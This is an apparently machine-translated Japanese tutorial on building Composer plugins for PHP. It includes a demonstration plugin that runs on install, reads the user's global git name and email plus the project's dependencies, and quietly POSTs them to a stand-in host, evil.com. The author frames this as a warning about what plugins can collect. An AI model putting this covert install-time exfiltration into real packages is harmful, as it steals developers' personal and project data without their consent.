Composerプラグインの酔わせる力

Composer



は、現代のPHP開発者を採用する上で最も重要なツールです。 手動の依存関係管理の時代は過去のものであり、 Semver



ような素晴らしいものが代わりになりました。 夜中に眠るのに役立つもの。すべてを落とさずに中毒を更新できるからです。

ネアンデルタールのスマッシング岩






Composer



は頻繁に使用しますが、その機能を拡張する方法を誰もが知っているわけではありません。 彼はすでにデフォルトでうまく仕事をしているので、そのようなアイデアは生まれません。そして、試してみるか、少なくとも勉強するのに時間や努力をする価値はないようです。 公式文書でも、 この問題は回避されています。 おそらく誰も尋ねないから...



ただし、最近の変更により、 Composer



プラグイン開発がはるかに簡単になりました。 Composer



も最近、アルファからベータに切り替えました。これは、おそらくこれまでで最も保守的なリリースサイクルです。 現代のPHPの世界を変えたこのツールは、現在の見方を変えました。 これは、プロフェッショナルなPHP開発の基礎です。 彼はちょうどアルファからベータに切り替えました。



ですから、今日は、作曲家プラグインの可能性を探求し、新しいドキュメントを作成していくと思いました。



このプラグインのコードはGithubで見つけることができます。



はじめに



まず、プラグインを使用するアプリケーションとは別に、プラグインを使用してリポジトリを作成する必要があります。 プラグインは通常の依存関係のようにインストールされます。 新しいフォルダーを作成してcomposer.json



ファイルをそこに配置しましょう。

 { "type": "composer-plugin", "name": "habrahabr/plugin", "require": { "composer-plugin-api": "^1.0" } }
      
      





これらの各行は重要です! Composerライフサイクルフックにアクセスするために、このcomposer-plugin



composer-plugin



タイプを割り当てます。



プラグインに名前を付けて、アプリケーションがそれに応じて追加できるようにします。 あなたはあなたの裁量で他のすべての変数を使用できますが、プラグインと呼ばれるものを覚えておいてください、これは後で必要になります。



composer-plugin-api



を使用して依存関係をcomposer-plugin-api



ことも必要です。 プラグインはプラグインAPIの特定のバージョンと互換性があると見なされるため、指定されたバージョンは重要です。これは、たとえば署名メソッドなどに影響します。



次に、プラグインのオートロードのクラスを指定する必要があります。

 "autoload": { "psr-4": { "HabraHabr\\": "src" } }, "extra": { "class": "HabraHabr\\Plugin" }
      
      





Plugin.php



ファイルを使用してsrc



フォルダーを作成します。 Composer



ライフサイクルの最初のフックで動作するコードは次のとおりです。

 namespace HabraHabr; use Composer\Composer; use Composer\IO\IOInterface; use Composer\Plugin\PluginInterface; class Plugin implements PluginInterface { public function activate(Composer $composer, IOInterface $io) { print "hello world"; } }
      
      





PluginInterface



は、プラグインをロードした後に呼び出されるpublic activate



メソッドの存在を記述します。 プラグインが機能することを確認しましょう。 アプリケーションに行き、 composer.json



を作成しましょう:

 { "name": "habrahabr/app", "require": { "habrahabr/plugin": "*" }, "repositories": [ { "type": "path", "url": "../habrahabr-plugin" } ], "minimum-stability": "dev", "prefer-stable": true }
      
      





これは以前よりもはるかに単純であり、人々がプラグインを使用する方法に似ています。 最良の解決策は、Packagistを使用してプラグインの安定バージョンをリリースすることですが、これまでのところ開発中であり、正常です。 この構成は、 Composer



habrahabr/plugin



利用可能なバージョンを要求し、依存関係のソースを示します。



リポジトリへのパスは相対であるため、Composerは自動的にシンボリックリンクを作成するため、管理する必要はありません。 また、不安定な依存関係に関連付けられているため、最低限必要なレベルをdev



として指定しましょう。



そのような状況では、可能な限り安定したバージョンのライブラリを使用することをお勧めします...



アプリケーションフォルダーからcomposer install



を実行すると、メッセージhello world



!が表示されます。 githubPackagistにコード配置することなく、これらすべてを実行できます。



rm -rf vendor composer.lock; composer install



コマンドを使用することをお勧めしrm -rf vendor composer.lock; composer install



rm -rf vendor composer.lock; composer install



を開発中にrm -rf vendor composer.lock; composer install



、アプリケーション/プラグインを元の状態にリセットできます。
これは、インストール用のフォルダーの操作を開始するときに特に役立ちます!



可能性を探る



また、 composer/composer



を依存関係に配置することをお勧めします。これにより、将来必要になるインターフェイスとクラスの作業が簡単になります。




プラグインについて学ぶことのほとんどは、 Composer



ソースコードを見ることで見つけることができます。 または、デバッガーを使用して、 activate



メソッドから開始して実行フロー全体を確認できます。 また、 PHPStormなどのIDEを使用する場合、ソースがあると学習が容易になり、コードと依存関係マネージャーコードの間を簡単に移動できます。



たとえば、 $composer->getPackage()



を調べて、 composer.json



ファイルでこの変数またはその変数が必要な理由を確認できます。 Composer



は、インストールプロセス中に$io->ask("...")



を使用して質問する機能も提供します。



使ってみよう!



最後に、実用的で、おそらく少し悪魔的なことを始めましょう! プラグインにユーザーアクションとそれらが必要とする依存関係を追跡させましょう。 git



指定された名前とメールを探すことから始めましょう。

 public function activate(Composer $composer, IOInterface $io) { exec("git config --global user.name", $name); exec("git config --global user.email", $email); $payload = []; if (count($name) > 0) { $payload["name"] = $name[0]; } if (count($email) > 0) { $payload["email"] = $email[0]; } }
      
      





通常、ユーザー名とメールアドレスはグローバルgit



configに保存され、ターミナルで実行されたgit config --global user.name



がそれらを返します。 exec



を介して実行することにより、プラグインで結果を取得します。



ここで、アプリケーションの名前(定義されている場合)、および一連の依存関係とそのバージョンを追跡しましょう。 dev



依存関係についても同じことを行い、両方のグループを共通の方法にします。

 private function addDependencies($type, array $dependencies, array $payload) { $payload = array_slice($payload, 0); if (count($dependencies) > 0) { $payload[$type] = []; } foreach ($dependencies as $dependency) { $name = $dependency->getTarget(); $version = $dependency->getPrettyConstraint(); $payload[$type][$name] = $version; } return $payload; }
      
      





各ライブラリの名前とバージョンの制限を取得し、 $payload



配列に追加します。 array_slice



の呼び出しは、このメソッドの副作用がないことを保証し、呼び出しを繰り返してもまったく同じ結果が得られます。



この種の強化は、しばしばpure function



、または不変変数の使用例と呼ばれます。




次に、このメソッドを使用して、依存関係を持つ配列を渡します。

 public function activate(Composer $composer, IOInterface $io) { // ...get user details $app = $composer->getPackage()->getName(); if ($app) { $payload["app"] = $app; } $payload = $this->addDependencies( "requires", $composer->getPackage()->getRequires(), $payload ); $payload = $this->addDependencies( "dev-requires", $composer->getPackage()->getDevRequires(), $payload ); }
      
      





最後に、このデータをどこかに送信できます。

 public function activate(Composer $composer, IOInterface $io) { // ...get user details // ...get project details $context = stream_context_create([ "http" => [ "method" => "POST", "timeout" => 0.5, "content" => http_build_query($payload), ], ]); @file_get_contents("https://evil.com", false, $context); }
      
      





これにはGuzzleを使用できますが、 file_get_contentsも同様に機能します。 実際、あなたがする必要があるのは、シリアル化されたデータを含むhttps://evil.com



へのPOST



リクエストだけです。



良くなる



ユーザーデータを収集するために、秘密裏に収集することを決してお勧めしません。 ただし、適切に設計されたComposer



プラグインへの単純な依存関係を使用して、誰かがどれだけのデータを収集できるかを知っておくと便利です。



もちろん、 composer install --no-plugins



オプションを使用できますが、多くのフレームワークとコンテンツ管理システムは、それらを正しくインストールするために必要なプラグインに依存しています。



いくつかの追加の警告:

  1. exec



    を使用する場合は、コードにハードコードされていないデータをフィルタリングして検証します。 それ以外の場合は、コードに攻撃ベクトルを作成します。
  2. データを送信する場合は、HTTPS経由で送信します。 そうでなければ、他の人がそれらに到達します。
  3. 同意なしにユーザーデータを追跡しないでください。 収集を開始する前に質問してください、毎回それをしてください! IOInterface::ask("...")



    ようなものはまさにあなたが必要とするものです...


この記事は役に立ちましたか? おそらくあなたはプラグインのアイデアを持っているでしょう。 たとえば、ライブラリ用の独自のインストーラプラグイン、人気のあるプロジェクト用のオフラインドキュメントをダウンロードするプラグインなどです。 以下のコメントで教えてください...



All Articles